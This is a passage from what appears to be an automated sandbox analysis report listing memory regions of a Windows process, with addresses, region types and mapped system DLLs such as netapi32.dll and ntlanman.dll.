end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 1730 start_va = 0x3800000 end_va = 0x38fffff entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1731 start_va = 0x3a10000 end_va = 0x3b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a10000" filename = "" Region: id = 1732 start_va = 0x3be0000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 1733 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1734 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 1735 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1736 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1737 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1738 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1739 start_va = 0x741e0000 end_va = 0x741f1fff entry_point = 0x741e0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1740 start_va = 0x741c0000 end_va = 0x741d0fff entry_point = 0x741c0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 1741 start_va = 0x741b0000 end_va = 0x741b8fff entry_point = 0x741b0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1742 start_va = 0x74190000 end_va = 0x741a8fff entry_point = 0x74190000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1743 start_va = 0x74180000 end_va = 0x7418efff entry_point = 0x74180000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1744 start_va = 0x74170000 end_va = 0x7417efff entry_point = 0x74170000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1745 start_va = 0x580000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1746 start_va = 0x5e0000 end_va = 0x5e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1747 start_va = 0x580000 end_va = 0x588fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1748 start_va = 0xac0000 end_va = 0xad8fff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1785 start_va = 0xb20000 end_va = 0xb7afff entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1852 start_va = 0xbc0000 end_va = 0xbdbfff entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1853 start_va = 0x3000000 end_va = 0x303ffff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1854 start_va = 0x3d10000 end_va = 0x3e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d10000" filename = "" Region: id = 1855 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 1933 start_va = 0x580000 end_va = 0x586fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1934 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1935 start_va = 0x2520000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1936 start_va = 0x3e80000 end_va = 0x3f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 1937 start_va = 0x3f80000 end_va = 0x4372fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f80000" filename = "" Region: id = 1938 start_va = 0x74120000 end_va = 0x74127fff entry_point = 0x74120000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 1939 start_va = 0x7ef89000 end_va = 0x7ef8bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 1940 start_va = 0x740f0000 end_va = 0x74118fff entry_point = 0x740f0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 1954 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 1955 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 1956 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1957 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1958 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1959 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1960 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1961 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1962 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1963 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1964 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1965 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1966 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1967 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1968 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1969 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1970 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1971 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1972 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1973 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1974 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1975 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1976 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1977 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1978 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1979 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1980 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1981 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1982 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1983 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1984 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1985 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1986 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1987 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1988 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1989 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1990 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1991 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1992 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1993 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1994 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1995 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1996 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1997 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1998 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1999 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2000 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2001 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2002 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2003 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2004 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2005 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2006 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2007 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2008 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2009 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2010 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2011 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2012 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2013 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2014 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2015 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2016 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2017 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2018 start_va = 0x740c0000 end_va = 0x740d3fff entry_point = 0x740c0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 2019 start_va = 0x740a0000 end_va = 0x740b6fff entry_point = 0x740a0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 2020 start_va = 0x74090000 end_va = 0x74097fff entry_point = 0x74090000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 2021 start_va = 0x74080000 end_va = 0x7408afff entry_point = 0x74080000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 2022 start_va = 0x74070000 end_va = 0x7407cfff entry_point = 0x74070000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 2098 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2099 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2100 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2101 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2102 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2103 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2104 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2105 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2106 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2107 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2108 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2109 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2110 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2111 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2112 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2113 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2114 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2115 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2116 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2117 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2118 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2119 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2120 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2121 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2122 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2123 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2124 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2125 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2126 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2127 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2128 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2129 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2130 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2131 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2132 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2133 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2134 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2135 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2136 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2137 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2138 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2139 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2140 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2141 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2142 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2143 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2144 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2145 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2146 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2147 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2148 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2149 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2150 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2151 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2152 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2153 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2154 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2155 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2156 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2157 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2158 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2159 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2160 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2161 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2162 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2163 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2164 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2165 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2166 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2167 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2168 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2169 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2211 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2212 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2219 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2220 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2221 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2222 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2223 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2224 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2225 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2226 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2227 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2228 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2229 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2230 start_va = 0xa70000 end_va = 0xa78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 2231 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2232 start_va = 0xac0000 end_va = 0xac8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 2233 start_va = 0xa50000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2234 start_va = 0xa60000 end_va = 0xa68fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 2235 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2236 start_va = 0x34b0000 end_va = 0x356ffff entry_point = 0x34b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2237 start_va = 0xa50000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = 